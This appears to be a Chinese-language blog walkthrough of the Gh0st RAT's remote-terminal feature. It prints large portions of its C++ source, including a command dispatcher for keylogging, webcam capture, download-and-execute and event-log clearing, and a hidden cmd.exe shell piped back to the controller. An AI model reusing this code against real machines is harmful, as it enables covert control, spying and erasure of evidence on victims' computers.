主要分析,客户端连接上主控端后,主控端主动要求进行终端管理后的一系列实现过程。


一、主控端发起远控申请指令COMMAND_SHELL

1、点击“终端管理”按钮后,主控端获取要进行远控的客户端(这里我习惯称为客户端,也有人称被控端为服务端)连接上来的套接字,然后向该客户端发送指令COMMAND_SHELL

二、客户端对收到的远控申请处理

1、客户端的工作线程WorkThread收到主控端的数据,调用OnRead进行对接收的数据解析,大约包括检测数据头“GHOST”、数据完整性检测和解压数据包,然后调用OnReceive函数(如下),根据数据的消息头进行相应的操作。

m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

2、跟进m_pManager的OnReceive后,发现CManager的OnReceive函数,并没有进行实现。
以下是CManager中对于OnReceive的函数声明,可以看出该方法为一个虚函数,肯定是有类对该方法进行了重写。

virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

3、回头想下m_pManager的赋值是在哪呢?
在MainDll中,有以下两句代码对m_pManager进行赋值,而CKernelManager继承于CManager,同时对OnReceive进行了重写。

CKernelManager  manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);

CKernelManager中对于OnReceive方法的重写源码如下:

void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{switch (lpBuffer[0]){case COMMAND_ACTIVED:InterlockedExchange((LONG *)&m_bIsActived, true);break;case COMMAND_LIST_DRIVE: // 文件管理m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false);break;case COMMAND_SCREEN_SPY: // 屏幕查看m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,(LPVOID)m_pClient->m_Socket, 0, NULL, true);break;case COMMAND_WEBCAM: // 摄像头m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_AUDIO: // 摄像头m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_SHELL: // 远程sehllm_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true);break;case COMMAND_KEYBOARD: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_SYSTEM: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_DOWN_EXEC: // 下载者m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,(LPVOID)(lpBuffer + 1), 0, NULL, true);Sleep(100); // 传递参数用break;case COMMAND_OPEN_URL_SHOW: // 显示打开网页OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);break;case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);break;case COMMAND_REMOVE: // 卸载,UnInstallService();break;case COMMAND_CLEAN_EVENT: // 清除日志CleanEvent();break;case COMMAND_SESSION:CSystemManager::ShutdownWindows(lpBuffer[1]);break;case COMMAND_RENAME_REMARK: // 改备注SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));break;case COMMAND_UPDATE_SERVER: // 更新服务端if (UpdateServer((char *)lpBuffer + 1))UnInstallService();break;case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包break;}
}

4、接下来便是根据指令COMMAND_SHELL调用Loop_ShellManager线程,并将套接字作为线程参数传入。

DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
{CClientSocket   socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CShellManager   manager(&socketClient);socketClient.run_event_loop();return 0;
}

其实这里可以发现,我们传入的套接字并没有使用到。而是新创建了一个套接字,专门用于进行一系列的远程终端的数据收发操作。
其中的CShellManager类主要就是进行远程终端管理的相关操作实现,该类的构造函数实现了相关的管道初始化和线程的创建。

CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{SECURITY_ATTRIBUTES  sa = {0};    STARTUPINFO          si = {0};PROCESS_INFORMATION  pi = {0}; char  strShellPath[MAX_PATH] = {0};m_hReadPipeHandle   = NULL;m_hWritePipeHandle  = NULL;m_hReadPipeShell    = NULL;m_hWritePipeShell   = NULL;sa.nLength = sizeof(sa);sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE;//这里创建管道了  if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)){if(m_hReadPipeHandle != NULL)   CloseHandle(m_hReadPipeHandle);if(m_hWritePipeShell != NULL)   CloseHandle(m_hWritePipeShell);return;}if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {if(m_hWritePipeHandle != NULL)  CloseHandle(m_hWritePipeHandle);if(m_hReadPipeShell != NULL)    CloseHandle(m_hReadPipeShell);return;}memset((void *)&si, 0, sizeof(si));memset((void *)&pi, 0, sizeof(pi));GetStartupInfo(&si);si.cb = sizeof(STARTUPINFO);si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;si.hStdInput  = m_hReadPipeShell;                           //将管道赋值si.hStdOutput = si.hStdError = m_hWritePipeShell; GetSystemDirectory(strShellPath, MAX_PATH);strcat(strShellPath,"\\cmd.exe");//创建cmd进出  并指定管道if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {CloseHandle(m_hReadPipeHandle);CloseHandle(m_hWritePipeHandle);CloseHandle(m_hReadPipeShell);CloseHandle(m_hWritePipeShell);return;}m_hProcessHandle = pi.hProcess;m_hThreadHandle = pi.hThread;//通知主控端 一切准备就绪BYTE    bToken = TOKEN_SHELL_START;       Send((LPBYTE)&bToken, 1);WaitForDialogOpen();//然后创建一个读取管道数据的 线程 m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);//再创建一个等待的线程  等待管道关闭 也就是用户关闭终端管理m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}

这里会发送一个指令TOKEN_SHELL_START,用于通知主控端这里已经准备就绪。

三、主控端收到客户端准备就绪指令TOKEN_SHELL_START

1、同样是解压数据包,然后调用主窗体类中的ProcessReceiveComplete方法,对接收到的数据包根据数据头进行相应处理

case TOKEN_SHELL_START:g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);break;

2、WM_OPENSHELLDIALOG是自定义的一个消息,主窗体收到该消息后:

ClientContext   *pContext = (ClientContext *)lParam;
//这里定义远程终端的对话框
CShellDlg   *dlg = new CShellDlg(this, m_iocpServer, pContext);dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);pContext->m_Dialog[0] = SHELL_DLG;
pContext->m_Dialog[1] = (int)dlg;

主控端打开自己实现的用于远程终端控制的CShellDlg,该Dlg中实现了相关的远程终端操作。
窗体打开后,主控端会发送指令COMMAND_NEXT,客户端在WaitForDialogOpen()中收到该指令后,创建ReadPipeThread线程,用于对于远程终端操作的客户端实现(管道)。

四、主控端与客户端的交互

接下来便是,主控端与客户端的交互。客户端根据主控端的Shell指令进行相应的操作。
1、主控端对客户端数据到来的处理流程
最先是IOCP模型收到数据包,然后进行分发给主控端的消息处理,主控端将完整收到的数据包后调用ProcessReceiveComplete进行消息分发,在ProcessReceiveComplete中判断该套接字是否与窗口关联(部分源码如下),然后判断该窗口是否为远程终端管理窗口

if (pContext->m_Dialog[0] > 0)
{switch (pContext->m_Dialog[0]){...case SHELL_DLG:((CShellDlg *)dlg)->OnReceiveComplete();break;...}
}

然后调用CShellDlg中的OnReceiveComplete,进行将收到的数据显示出来的功能,这样就完成了对客户端发来的数据进行的处理。

void CShellDlg::OnReceiveComplete(void)
{AddKeyBoardData();m_nReceiveLength = m_edit.GetWindowTextLength();
}

2、主控端对客户端发送Shell指令流程
解析出写的Shell指令后,直接通过套接字发送即可

BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{//如果是键盘按下if (pMsg->message == WM_KEYDOWN){// 屏蔽VK_ESCAPE、VK_DELETEif (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)return true;//如果是可编辑框的回车键if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd){//得到窗口的数据大小int len = m_edit.GetWindowTextLength();CString str;//得到窗口的字符数据m_edit.GetWindowText(str);//加入换行符str += "\r\n";m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);m_nCurSel = m_edit.GetWindowTextLength();}// 限制VK_BACKif (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd){if (m_edit.GetWindowTextLength() <= m_nReceiveLength)return true;}}// Ctrl没按下if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0){int len = m_edit.GetWindowTextLength();m_edit.SetSel(len, len);// 用户删除了部分内容,改变m_nCurSelif (len < m_nCurSel)m_nCurSel = len;}return CDialog::PreTranslateMessage(pMsg);
}

3、客户端对主控端发来的Shell指令的处理流程
客户端收到主控端的数据后,调用OnReceive函数,将主控端发送来的数据写入到cmd的输入管道中

void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)      //判断是否为通知主控端对话框打开{NotifyDialogIsOpen();return;}unsigned long   ByteWrite;WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}

数据写入到输入管道中后,ReadPipeThread线程读取到管道数据,然后发送给主控端。

DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{unsigned long   BytesRead = 0;char    ReadBuff[1024];DWORD   TotalBytesAvail;CShellManager *pThis = (CShellManager *)lparam;while (1){Sleep(100);while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL)) {//如果没有数据就跳出本本次循环if (BytesRead <= 0)break;memset(ReadBuff, 0, sizeof(ReadBuff));LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);//读取管道数据ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);// 发送数据pThis->Send(lpBuffer, BytesRead);LocalFree(lpBuffer);}}return 0;
}

致敬Ghost作者。

Ghost之远程终端管理相关推荐

  1. 远程终端管理和检测系统

    TerminalMACS(Terminal Manager And Check System) 远程终端管理和检测系统 本文同步更新地址:https://dotnet9.com/11429.html ...

  2. 使用 xCAT 简化 AIX 集群的部署和管理

    使用 xCAT 简化 AIX 集群的部署和管理 基于 IBM® Power 520 Express® (8203-E4A) 的实践 本文主要介绍了 xCAT 软件的工作原理,并且通过在 IBM® Po ...

  3. 计算机管理技术学院,计算机管理论文,关于国家电网技术学院:管理平台有“三好”教学管理享轻松相关参考文献资料-免费论文范文...

    导读:这是一篇与计算机管理论文范文相关的免费优秀学术论文范文资料. ■本报记者卜娜 当管理的对象是人时,管理制度的实施总难免遭遇挑战.所以,管理是一个需要不断总结经验.反馈问题.尝试新方法的过程. 在 ...

  4. Ghost 使用手册

    Ghost 使用手册 2011年07月15日 [b]一.分区备份 使用Ghost进行系统备份,有整个硬盘(Disk)和分区硬盘(Partition)两种方式.在菜单中点击 Local(本地)项,在右面 ...

  5. Ghost 使用详解

    一.分区备份 使用Ghost进行系统备份,有整个硬盘(Disk)和分区硬盘(Partition)两种方式.在菜单中点击 Local(本地)项,在右面弹出的菜单中有3个子项,其中 Disk表示备份整个硬 ...

  6. Ghost 使用指南

    ◆可以创建硬盘镜像备份文件 ●可以将备份恢复到原硬盘上 ●磁盘备份可以在各种不同的存储系统间进行 ●支持FAT16/32.NTFS.OS/2等多种分区的硬盘备份 ●支持Win9X.NT.UNIX.No ...

  7. Ghost V8.0 使用详解 【操作说明】

    Ghost V8.0 使用详解 [操作说明] 一.分区备份 使用Ghost进行系统备份,有整个硬盘(Disk)和分区硬盘(Partition)两种方式.在菜单中点击 Local(本地)项,在右面弹出的 ...

  8. linux下ghost安装(centos)

    Linux下安装ghost简单方便使用 此方法实在centos7下采用nginx+mysql+ghost 废话不多说开始 网上资料上说ghost时基于nginx或者apache,个人喜欢nginx! ...

  9. 筑泰防务助力江门市公安打造新一代警务移动终端管理平台

    2018年3月,江门市公安应公安部要求,启动了新一代公安移动警务的建设工作.原有基于2G移动警务已明显落后,网络性能低.应用模式旧.终端体验差.安全管控弱等问题日益突显,已经不能满足地方公安机关对深化 ...

  10. 在CentOS 搭建 自己的Ghost博客教程

    可以点击查看我的Ghost博客 欢迎转载,请注明出处: http://zyden.vicp.cc/centos-ghost-blog/ 谢谢 目前网络上对搭建Ghost的教程明显比较旧了,一个流程下来 ...

最新文章

  1. java批处理框架采集端_使用Spring Batch批处理框架(参考)
  2. shopex PHP Notice,ShopEx PHP远程包含漏洞
  3. c++连连看游戏_用Python玩连连看是什么效果?
  4. WinDbg调试.NET程序入门
  5. 阅读好书依然是提升自己的高效方法:兼以作者的身份告诉大家如何选择书,以及高效学习的方法...
  6. php的create_function、function_exists判断函数是否存在
  7. 推荐一款移动端的web UI控件 -- mobiscroll
  8. iOS10 打开APP设置界面和WIFI界面
  9. 程序的图标无法改变_安卓微信7.0.7内测版发布,细节更新,小程序功能优化
  10. Java入门教程[9天快速入门JAVA]
  11. SQL Server 连接字符串
  12. 剑指offer:斐波那契数列
  13. Mac DBeaver Client home is not specified for connection解决办法
  14. 锋利Jquery 第一天
  15. java word在线编辑_[原创]Java开发在线打开编辑保存Word文件(支持多浏览器)
  16. 科技类外包人员考核评价规则
  17. dell12v18a怎么改_拆修DELL 12V 18A电源!
  18. php源码 拼车网顺风车_php版某拼车网源码分享 微信拼车打车约车源码 微信拼车+手机拼车+双终端+发布平台...
  19. upstream指令参数 max_fails、fail_timeout、backup、max_conns、down
  20. 分析与思考 黄奇帆的复旦经济课 读书笔记

热门文章

  1. [转贴]比《同居密友》更搞笑的【阿奴与唐玉】陶海风格
  2. google play连接超时_谷歌Play多年来一直传播高级安卓恶意软件,并曾被用于间谍活动!...
  3. matlab PTB 学习笔记01——运行前准备
  4. win10便签常驻桌面_Win10上自带超好用的便利贴
  5. Codeforces1153——D. Serval and Rooted Tree(思维好题+dfs+贪心)
  6. python装饰对象_python基础-面向对象(装饰器)
  7. ASPNET 5 和 dnx commands
  8. html圆形头像简易实现
  9. 记录Windows11系统出现的一次蓝屏收集错误信息重启的问题
  10. openlayers3中,在地图上添加静态边界线